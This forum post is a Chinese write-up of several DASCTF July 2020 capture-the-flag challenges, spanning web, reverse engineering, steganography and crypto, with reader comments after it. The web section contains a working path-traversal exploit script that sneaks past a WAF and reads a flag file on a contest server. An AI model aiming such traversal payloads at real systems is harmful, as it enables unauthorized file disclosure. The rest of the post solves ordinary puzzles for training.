首页
论坛
课程
招聘
[原创]DASCTF七月赛部分wp
2020-7-27 18:27 4624

[原创]DASCTF七月赛部分wp

2020-7-27 18:27
4624

前言

25号DASCTF七月赛的wp,日常打比赛练练手ing

web

Ezinclude

F12直接给图片SRC,访问提示提交错误时间:

 

 

观察GET的参数

t=1595655057&f=Z3F5LmpwZw==

其中t为时间戳,是1970年1月1日以来的秒数,在 https://unixtime.51240.com/ 这个网站可以方面进行查看。

 

 

f是字符串"gqy.jpg"的base64转码,可以直接构造出exp结构:

f = '../flag' #读取flag文件
f = base64.b64encode(f.encode("utf-8")).decode("utf-8")
url = "http://183.129.189.60:10009//image.php?t=" + str(int(time.time())) + "&f=" + str(f)

读取路径发现问题,有一层WAF过滤("You are not allowed to do that."),测试发现在路径前面随便加上一点东西就可以绕过了。

 

最终exp:

import requests
import time
import base64

f = 'a../../../../../../flag'
f = base64.b64encode(f.encode("utf-8")).decode("utf-8")
print(f)
url = "http://183.129.189.60:10009//image.php?t=" + str(int(time.time())) + "&f=" + str(f)
print(url)

payload = {}
headers = {}

response = requests.request("GET", url, headers=headers, data=payload)

print(response.text.encode('utf8'))

re

逆向有三题,看赛后也没人写逆向的wp,这里简单分享一下解题思路。

游戏辅助

这题给了两个exe,一个是辅助,一个是补丁。
首先看辅助.exe,核心代码如下图:

 

 

主要逻辑除了一些字符串输出,就是对输入的注册码进行验证,直接进行明文比较,正确的注册码应该是1_am_n0t_f1ag。
然后再看补丁.exe,核心代码如下图:

 

 

主要逻辑除了一些字符串输出,就是对辅助.exe进行注入,第一个注入是对验证注册码的条件判断进行nop,所以,无论输入的注册码是什么,都会验证成功,第二个注入是在一段对齐的无用代码代码段注入了两个数,然后会输出flag{md5(dec(What_you_found))。
当时看到这里着实没啥头绪,感觉是个脑洞题,试了几个答案都错了,就没管了,后来赛后,看群里做出来的师傅说,最后的flag是打的补丁那两个数字里比较大的那一个数的十进制然后再用md5加密。
emmm反正我没试到这个,有点脑洞,但是程序本身不难,也基本说清楚了。

simple

这题真的simple,也拿了一血。
首先看主函数,如图:

 

 

很简单的tea加密,本来想下断调试一下,取一下v14最后的值,然后直接写个脚本逆一下就好了。但是调试的时候发现有一点点坑,在第一个函数sub_4110F0里,直接运行结束了。
然后重新调试,跟进去这个个函数,发现里面依然是一个tea加密,所以还是原来的思路运行一下取v8最后的值,然后写个简单的脚本就出来了。

 

调试得到的加密算法如图:

 

 

最后的解密脚本如下:

import struct
v6=0xAD4BB459940692AA
v7=0x5665FD4EC447C6C9
v8=0xc6ef3733c6ef3720
for i in range(32):
    v7-=v8^(((v6 >> 5) ^ 16 * v6) + v6)
    v7&=0xffffffffffffffff
    v8+=0x61C8864661C88647
    v8&=0xffffffffffffffff
    v6 -= v8 ^ (((v7 >> 5) ^ 16 * v7) + v7)
    v6&=0xffffffffffffffff
print(v8)
print(hex(v6),hex(v7))
print(struct.pack('<Q',v6)+struct.pack('<Q',v7))

alphabate

这题好晚才放,有几个点又卡了一下,赛后过一会才解出来,找出题人验证了一下,答案是正确的。
主函数wmian栈太大了,没办法反编译,试了几个方法也没成功,就直接在开头下断点准备调试看看,然后发现直接闪退,肯定有反调,先处理反调。
直接搜ExitProcess函数的交出引用,可以看到不少反调:

 

 

在跳转语句处下断点,跑一遍看看程序的执行流程。要改zf位的跳转语句其实就两个地方:

 

第一个在回调函数0x041183E处:

 

 

第二个在0x041518E处:

 

 

然后程序会运行到第一个关键函数sub_415250:

 

 

这里注册了一个异常处理函数,然后进行除零操作引发异常,所以关键逻辑其实在sub_411177函数。ida动态调试还是有些缺陷,这个异常处理我断不下来,想调试的话用xdbg或者od。

 

跟进函数到sub_411EC0,这里是才是核心处理逻辑:

 

 

字符替换就是把N换成R,T换成Y,主要看验证函数:

 

 

验证函数经过一系列累加运算后,v7数组最后要保证每个数都不大于150,v5要等于dword_41C040,这里直接z3求解就好,这里要把这里的N,Y字符串替换成0,1,然后相乘再累加,因为z3定义的未知数不支持做条件判断,具体操作直接看解密代码:

from z3 import *
input = [BitVec('x%d'%i, 12) for i in range(35)]
x = [input[i] for i in range(35)]

dword_41C0D8=[0x00000008, 0x00000016, 0x0000001A, 0x0000001C, 0x00000018, 0x0000001C, 0x0000000B, 0x00000012, 0x00000012, 0x0000001B, 0x0000001B, 0x00000018, 0x0000001C, 0x00000017, 0x00000018, 0x00000019, 0x00000009, 0x0000000F, 0x00000018, 0x0000001A, 0x00000018, 0x00000017, 0x0000001A, 0x00000019, 0x00000017, 0x00000010, 0x00000019, 0x0000001D, 0x0000001E, 0x00000013, 0x0000001A, 0x00000017, 0x00000012, 0x00000018, 0x0000001D]
dword_41C048=[0x00000002, 0x0000000C, 0x0000001A, 0x00000014, 0x0000000D, 0x0000000F, 0x0000000B, 0x00000010, 0x0000000C, 0x0000000C, 0x0000000F, 0x0000000D, 0x00000013, 0x0000000A, 0x00000012, 0x00000010, 0x00000001, 0x00000008, 0x00000011, 0x00000019, 0x00000018, 0x00000016, 0x00000018, 0x00000018, 0x0000000E, 0x00000006, 0x00000005, 0x00000012, 0x00000018, 0x00000005, 0x00000006, 0x00000002, 0x00000001, 0x0000000D, 0x00000014]
dword_41C168=[0x0000000D, 0x00000019, 0x0000000D, 0x0000002E, 0x0000000C, 0x0000002B, 0x0000002A, 0x00000004, 0x00000016, 0x0000002E, 0x00000016, 0x00000023, 0x00000024, 0x0000000C, 0x00000018, 0x0000000C, 0x00000030, 0x00000008, 0x00000018, 0x0000001D, 0x00000029, 0x00000007, 0x0000000F, 0x00000006, 0x00000015, 0x00000002, 0x0000001E, 0x00000013, 0x0000000A, 0x00000021, 0x00000026, 0x00000005, 0x00000016, 0x00000013, 0x00000028]
sum=0
data=[]
result=0xD66
for j in range(35):
    data.append(dword_41C168[j] * (dword_41C0D8[j] - dword_41C048[j]))

s = Solver()
for i in range(35):
    s.add(input[i] < 2)
    s.add(input[i] >= 0)

for i in range(35):
    sum+=data[i]*input[i]

v7=[0 for i in range(35)]
for j in range(35):
    for k in range(dword_41C048[j],dword_41C0D8[j]):
        v7[k] += dword_41C168[j]*input[j]
for j in range(35):
    s.add(v7[j]<=150)

s.add(sum==result)

answer=s.check()
print(answer)
print(s.model())
m=s.model()
for i in x:
    print(m[i].as_long(),end=",")
# 1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,1,0,1

最后再把字符串替换回来:

data=[1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,1,0,1]

flag=''
for i in data:
    if i==1:
        flag+='Y'
    else:
        flag+='N'
print(flag)

newflag=''
for i in range(35):
    if (i&1)==1:
        if flag[i]=='Y':
            newflag+='T'
        if flag[i]=='N':
            newflag+='R'
    else:
        newflag+=flag[i]
print(newflag)
# YRNRNRNTNTNRNTNRYRNTNRNRNTYTYTNRYRY

其实有3个地方的0,1可以任意,因为那三处的dword_41C0D8[j] - dword_41C048[j]为0,但是这三处全0应该才是正确答案。


misc

QrJoker

题目源自2020 DASCTF七月赛

链接:https://pan.baidu.com/s/1tIndXUOhCrn6gSP2NSKOiA
提取码:ln2b

原题目Hint:每张二维码都有6个字符被编码了,把它们提取出来!

 

下载得到 QrJoker.gif,可以看到Gif中每一帧都有半张QR Code,首先把它们都分离出来:

convert QrJoker temp/qr.jpg

对于这种残缺的QR Code,如果是只有右边的话,通常做法是把QR Code填涂在 https://merricx.github.io/qrazybox/ 上,然后借助网站的直接解码功能获得QR Code中的内容

 

但是这里的残缺QR Code多达64张,最好编写脚本完成(当然一张张描上去也行,但是我懒)


1 观察图片

虽然每张QR Code的图案都不一样,但是有三点是一样的:

  • 大小一样;它们都是Version 1的QR Code

  • 格式信息一样;以第一帧的QR Code举例:

    红框中读取得到 100101,前往 https://www.thonky.com/qr-code-tutorial/format-version-tables 查阅,发现匹配上了:

    于是知道这张QR Code的纠错等级为 M、掩码为 1;由于只有右边的数据而丢失了左边的纠错码,所以我们不用管纠错等级

  • 右下方数据一样

    如果熟悉QR Code的格式的话会知道,右下方是QR Code中数据的起点,它通常包含一张QR Code的编码方式长度这两种信息;结合题目告知的「每张QR Code包含6个字符」,所以每张QR Code对内容的编码方式、内容长度都是相同的


2 读取数据

 

每张残缺QR Code的数据区域就是上图中的绿色区域,它是一个6×12码元(即基本单位)大小的区域,我们首先用Python的PIL模块将QR Code中的每个码元读取进来

from PIL import Image

img = Image.open("temp/qr-0.jpg")
width, height = img.size
data = []
offset = 5
for y in range(100, height-10, 10):
    temp = []
    for x in range(410, width-10, 10):
        if img.getpixel((x+offset, y+offset))[0] > 128:     # 白色
            temp.append("0")
        else:
            temp.append("1")
    data.append(temp)

这里以分离出的第一帧图片为例;代码中主要是一个二重循环,我们可以用Windows中的画图程序将QR Code中每个码元的位置找出来,如:

 

 

通过这样,得知每个码元的分辨率是10×10;并且最左上角的码元的位置是(410, 90)

 

二重循环是每次读取一行的6个数据,依次读取完12行,得到整个6×12区域的数据(代码中,offset 的存在只是为了取到每个码元最中间的像素点)


3 摘除掩码

获得一张QR Code的数据后,根据前面观察图片可知,每张QR Code的掩码都是 1,编号1对应的掩码图案就是:

 

 

这个掩码图案比较简单,对QR Code中的数据隔行进行比特翻转:

for i in range(len(data)):
    if i % 2 == 1:
        for j in range(len(data[i])):
            if data[i][j] == "1":
                data[i][j] = "0"
            else:
                data[i][j] = "1"

最终 data 变量就是一个6×12的矩阵,其中存储着摘除了掩码后的QR Code数据

以第一帧图片举例,运行代码得到的 data 为:

对应上了摘除掩码后的数据:


4 处理数据

有了 data 后,就可以对其中的01字符序列进行处理了

 

 

上图是从网上找到的QR Code Version 1的结构图,可以看到,从右下角开始,它的每个数据块都是连续的,不像Version 3一样,块的顺序是不连续的:

 

 

所以对获得的 data 的处理就很简单了:

res = ""
for i in range(11, -1, -1):
    res += data[i][5]
    res += data[i][4]
for i in range(0, 12, 1):
    res += data[i][3]
    res += data[i][2]
for i in range(11, -1, -1):
    res += data[i][1]
    res += data[i][0]

按照QR Code Version 1存放数据的顺序,读取出这张QR Code顺序正确的数据

 

以第一帧的图片为例,最终得到的 res 为:

001000000011011010110011001001101000010001100000000000001110110000010001

这就是第一帧的QR Code的内容了


5 解码

按照QR Code对数据的编码规则对上面的 res 进行解码

 

首先看前4 Bits的数据是 0010,所以它采用的编码模式是字母数字模式(Alphanumeric Mode);然后又因为是Version 1的QR Code,所以内容长度占据9 Bits,内容长度的值是 0x000000110 = 6

请参考 https://www.thonky.com/qr-code-tutorial/data-encoding

 

所以解码代码为:

res = res[13:13+33]
mapping = {
    0:'0', 1:'1', 2:'2', 3:'3', 4:'4', 5:'5', 6:'6', 7:'7', 8:'8',
    9:'9', 10:'A', 11:'B', 12:'C', 13:'D',14:'E', 15:'F', 16:'G',
    17:'H', 18:'I', 19:'J', 20:'K', 21:'L', 22:'M', 23:'N', 24:'O',
    25:'P', 26:'Q', 27:'R', 28:'S', 29:'T', 30:'U', 31:'V', 32:'W',
    33:'X', 34:'Y', 35:'Z', 36:' ', 37:'$', 38:'%', 39:'*', 40:'+',
    41:'-', 42:".", 43:'/', 44:':'
}
for i in range(0, 33, 11):
    decode_msg += mapping[int(res[i:i+11], 2) // 45]
    decode_msg += mapping[int(res[i:i+11], 2) % 45]

第一行代码中,由于已经知道前4 Bits是模式指示符、之后的9 Bits是长度,所以直接截掉;又因为采用Alphanumeric Mode,每两个字符占11 Bits,QR Code中有6个字符,所以有效的只是之后的33 Bits

参考 https://www.thonky.com/qr-code-tutorial/alphanumeric-mode-encoding

 

代码中的 mappingAlphanumeric Mode的映射表,可以参考 https://www.thonky.com/qr-code-tutorial/alphanumeric-table;最后便按照Allphanumeric Mode的编码方式,将每11 Bits解码成2个字符


6 完整代码

from PIL import Image

decode_msg = ""
for num in range(64):
    img = Image.open("temp/qr-" + str(num) + ".jpg")
    width, height = img.size
    data = []
    offset = 5
    for y in range(100, height-10, 10):
        temp = []
        for x in range(410, width-10, 10):
            if img.getpixel((x+offset, y+offset))[0] > 128:     # 白色
                temp.append("0")
            else:
                temp.append("1")
        data.append(temp)

    for i in range(len(data)):      # 摘除掩码
        if i % 2 == 1:
            for j in range(len(data[i])):
                if data[i][j] == "1":
                    data[i][j] = "0"
                else:
                    data[i][j] = "1"

    res = ""                        # 读取数据
    for i in range(11, -1, -1):
        res += data[i][5]
        res += data[i][4]
    for i in range(0, 12, 1):
        res += data[i][3]
        res += data[i][2]
    for i in range(11, -1, -1):
        res += data[i][1]
        res += data[i][0]

    res = res[13:13+33]             # 解码
    mapping = {
        0:'0', 1:'1', 2:'2', 3:'3', 4:'4', 5:'5', 6:'6', 7:'7', 8:'8',
        9:'9', 10:'A', 11:'B', 12:'C', 13:'D',14:'E', 15:'F', 16:'G',
        17:'H', 18:'I', 19:'J', 20:'K', 21:'L', 22:'M', 23:'N', 24:'O',
        25:'P', 26:'Q', 27:'R', 28:'S', 29:'T', 30:'U', 31:'V', 32:'W',
        33:'X', 34:'Y', 35:'Z', 36:' ', 37:'$', 38:'%', 39:'*', 40:'+',
        41:'-', 42:".", 43:'/', 44:':'
    }
    for i in range(0, 33, 11):
        decode_msg += mapping[int(res[i:i+11], 2) // 45]
        decode_msg += mapping[int(res[i:i+11], 2) % 45]

print(decode_msg)
    # %56%6A%49%77%65%45%35%48%52%6B%64%69%4D%33%42%72%55%6A%4E%53%55%46%6C%58%4D%54%52%6A%4D%57%52%79%57%6B%5A%61%54%31%5A%55%52%6C%5A%5A%56%57%51%30%56%32%31%57%63%6B%31%45%52%6C%56%4E%56%6B%70%78%56%47%78%56%4E%56%4A%58%53%6B%68%68%52%54%6C%58%54%56%5A%56%64%31%59%79%4D%58%64%69%4D%6B%5A%79%54%6C%52%61%55%6C%64%49%51%6D%46%57%61%32%52%50%54%6C%5A%52%65%46%6F%7A%5A%46%46%56%56%44%41%35

 

所有QR Code中的数据提取出来后就很简单了,把得到的字符串先 unescape(),然后多次Base64解码即可得到flag


welcome to the misc world

下载后解压得到 red_blue.png 和 加密了的 flag.rar

 

看到图片的名字是 red_blue,以为是双图隐写,用StegSolve导出R通道和B通道上的图片,发现不是;而且B通道上的图片反色后,跟R通道的一模一样

 

然后用zsteg检索图片的不同通道,发现:

 

 

R通道的最低位上隐藏了一张PNG图片的数据,用StegSolve将其导出,得到:

 

 

得到压缩包密码,解压 flag.rar

 

压缩包 flag.rar 存在NTFS隐写,我看别人都是解压软件直接将隐藏的 flag.txt 显示出来了;我是用010 Editor打开 flag.rar 的数据,然后搜索字符串 STM,检索到两处,因此才怀疑有NTFS隐写

 

至于为什么检索字符串 STM,请参考 https://www.rarlab.com/technote.htm#srvheaders,其中有:

STM 是Rar格式文件中,存在备用数据流的标识

 

既然存在NTFS隐写,就用WinRar将 flag.rar 解压后,cmd下执行 dir /r,查看到:

 

 

notepad 指令将那个 7.jpg:flag.txt 打开,得到:

Ao(mgHXo,o0fV'I2J"^%3&**H@q.MQ1,V%$1GCdB0P"X%0RW

然后看向 hint.png,010 Editor打开,在文件末尾发现奇怪字符串:

 

 

依次将这段字符串经过:Base64解码 UrlDecode 核心价值观解码,最终得到字符串 base85

 

于是将上面 flag.txt 中的字符串用Base85解码:

 

貌似有人被在线的Base85解码网站坑了?Python3的base64库支持Base85的,并且同时支持Adobe版本和btoa版本

注意 flag.txt 中得到的字符串同时存在单引号和双引号,解码时记住加 \


crypto

bullshit

给了下面的代码:

from flag import flag
def pairing(a,b):
    shell = max(a, b)
    step = min(a, b)
    if step == b:
        flag = 0
    else:
        flag = 1
    return shell ** 2 + step * 2 + flag

def encrypt(message):
    res = ''
    for i in range(0,len(message),2):
        res += str(pairing(message[i],message[i+1]))
    return res

print(encrypt(flag))
# 1186910804152291019933541010532411051999082499105051010395199519323297119520312715722

可以知道 flag 应该是一个数组,里面存储的是数值,每次取其中的两个数值进行 encrypt()flag 中的所有数值进行运算后,拼接起来就是最后的结果

 

假设 flag 肯定是可打印的ASCII字符,因此限定范围爆破:

res = "1186910804152291019933541010532411051999082499105051010395199519323297119520312715722"

def pairing(a,b):
    shell = max(a, b)
    step = min(a, b)
    if step == b:
        flag = 0
    else:
        flag = 1
    return shell ** 2 + step * 2 + flag

def encrypt(message):
    res = ''
    for i in range(0,len(message),2):
        res += str(pairing(message[i],message[i+1]))
    return res

flag = []
index = 1
while (res != ""):
    noMatch = 1
    for i in range(32, 127):
        for j in range(32, 127):
            if encrypt([i, j]) == res[:index]:
                flag.append(i)
                flag.append(j)
                res = res[index:]
                index = 1
                noMatch = 0
                break
    if noMatch == 1:
        index += 1
print(flag)

爆破得 flag 的每个元素,再转ASCII即可得到 flag{2cd494d489f5c112f3da7a7805b7a730}



[公告]《使用DCI技术进行全栈调试》训练营,硬件调试器你的,《软件调试》作者张银奎亲自授课!

最后于 2020-7-27 19:00 被Ssssone编辑 ,原因: 纠正未解析成功的图片
收藏
点赞5
打赏
分享
最新回复 (6)
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
不会修电脑 活跃值 2020-7-27 19:25
2
0
游戏辅助那道题,师傅可以用xdbg跟一下,看看到底写入了些什么数据。
雪    币: 1072
活跃值: 活跃值 (1589)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
Ssssone 活跃值 2 2020-7-27 19:47
3
0
不会修电脑 游戏辅助那道题,师傅可以用xdbg跟一下,看看到底写入了些什么数据。
写的就是v13和v15嘛,当时有跟,就是没想到dec是转十进制...
雪    币: 7383
活跃值: 活跃值 (678)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
xmhwws 活跃值 2020-7-27 21:01
4
0
这比赛链接请发下
雪    币: 1072
活跃值: 活跃值 (1589)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
Ssssone 活跃值 2 2020-7-27 21:22
5
0
xmhwws 这比赛链接请发下
平台已经关了,题目好像说主办方不让发
雪    币: 7383
活跃值: 活跃值 (678)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
xmhwws 活跃值 2020-7-27 21:32
6
0
第一题原图有吗?用来当头像感觉不错
雪    币: 1072
活跃值: 活跃值 (1589)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
Ssssone 活跃值 2 2020-7-27 21:49
7
0
xmhwws 第一题原图有吗?用来当头像感觉不错[em_84]
哈哈,你可以去比赛群(1070975652)里问问
游客
登录 | 注册 方可回帖
返回